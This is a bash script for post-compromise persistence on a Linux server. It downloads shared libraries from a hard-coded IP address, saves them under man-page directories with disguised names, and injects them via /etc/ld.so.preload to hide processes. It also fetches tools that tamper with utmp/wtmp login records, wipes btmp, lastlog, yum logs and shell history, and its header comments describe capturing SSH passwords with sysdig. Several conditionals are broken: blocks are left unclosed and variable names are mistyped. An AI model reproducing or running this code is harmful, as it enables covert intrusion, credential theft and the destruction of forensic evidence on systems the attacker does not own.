#!/bin/bash


#1) q.sh tty/1 
#2) echo /path/binaryinject.so >> /etc/ld.so.preload
#3) sudo sysdig proc.name=sshd | egrep -i "write res" | awk '{print $9}' - return ssh login, pass
#4) sysdig proc.name=ssh | egrep -i " read res=1 data=" - filter






PATH_TEMP_FILE="/tmp"

PATH_PS_INJ="/usr/share/man/man8"
PS_INJ_FILE_1="supermicro_ll.gz"
PS_INJ_FILE_2="supermicro_kk.gz"
PS_INJ_FILE_3="supermicro_mm.gz"
IP_SERVER="185.141.25.168"

check_root ()
{
    if [ "$EUID" -ne 0 ]
        then echo "Please run as root"
        rm -rf $PATH_TEMP_FILE/q1.sh
        exit
    fi
}

check_wget ()
{
    if rpm -q wget
    then
        echo "WGET Found!"
    else
        echo "WGET Not Found."
        echo "Install WGET and clear yum log."
        yum install wget -y
        rm -rf /var/log/yum*
    fi
}

download_exploit ()
{
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_1" ]; then
        printf "\n$PS_INJ_FILE_1 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject.so\n"
        wget -q http://$IP_SERVER/binaryinject.so -O $PATH_PS_INJ/$PS_INJ_FILE_1
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_1
    fi
    
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_2" ]; then
        printf "\n$PS_INJ_FILE_2 Found!\nSkipped Download.\n"
    else
        printf "\n[+] Download File http://$IP_SERVER/binaryinject1.so\n\n"
        wget -q http://$IP_SERVER/binaryinject1.so -O $PATH_PS_INJ/$PS_INJ_FILE_2
        chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_2
    fi
    
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE3"]; then
	printf "\n$PS_INJ_FILE_3 Found!\nSkipped Download.\n"
    else
	printf "\n[+] Download File http://$IP_SERVER/binaryinject2.so\n\n"
	wget -q http://$IP_SERVER/binaryinject2.so -O $PATH_PS_INJ/$PS_INJ_FILE_2
	chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_3
}

who_injection ()
{
        read -n 1 -p "Do you want to WHO INJECT? (y/n): " whoinj
        case "$whoinj" in
            y|Y) printf "\n==WHO INJECT==\n"
                printf "\n[+] Download File utmp, wtmp\n"
                wget -q http://$IP_SERVER/utmp -P $PATH_TEMP_FILE/
                wget -q http://$IP_SERVER/wtmp -P $PATH_TEMP_FILE/
                chmod +x $PATH_TEMP_FILE/utmp $PATH_TEMP_FILE/wtmp
                printf "=============================\n"
                echo $(who)
                printf "=============================\n"
                read -p "Enter session (Example: pts/0): " SESS

                $PATH_TEMP_FILE/./utmp $SESS
                $PATH_TEMP_FILE/./wtmp $SESS
                ;;
            n|N) printf "\n==WHO INJECT SKIPPED==\n"
                true
                ;;
        esac
}

ps_injection ()
{
    printf "\n==PS INJECT==\n"
    download_exploit
    if grep -q $PS_INJ_FILE_1 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_1 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_1 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_1 >> /etc/ld.so.preload
    fi

    if grep -q $PS_INJ_FILE_2 /etc/ld.so.preload; then
        printf "Injection $PS_INJ_FILE_2 found in ld.so.preload\n"
    else
        printf "Inject $PS_INJ_FILE_2 in ld.so.preload\n"
        echo $PATH_PS_INJ/$PS_INJ_FILE_2 >> /etc/ld.so.preload
    fi

    if  grep -q $PS_INJ_FILE3 /etc/ld.so.preload; then
	printf "Injection $PS_INJ_FILE_2 found in ld.so.preload\n"
    else 
	printf "Injection $PS_INJ_FILE_3 in ld.so.preload\n"
	echo $PATH_PS_INJ/$PS_INJ_FILE3 >> /etc/ld.so.preload
}

clear_log ()
{
    printf "\n[+] CLEAR LOG FILE\n"
    echo > /var/log/btmp
    printf "[+] btmp clear.\n"
    echo > /var/log/lastlog
    printf "[+] lastlog clear.\n"
    rm -rf $PATH_TEMP_FILE/utmp* $PATH_TEMP_FILE/wtmp* $PATH_TEMP_FILE/q1.sh*
    printf "[+] utmpm, wtmp, q1.sh delete.\n"
    history -c
}

main ()
{
    check_root
    check_wget
    who_injection
    ps_injection
    clear_log
}

main
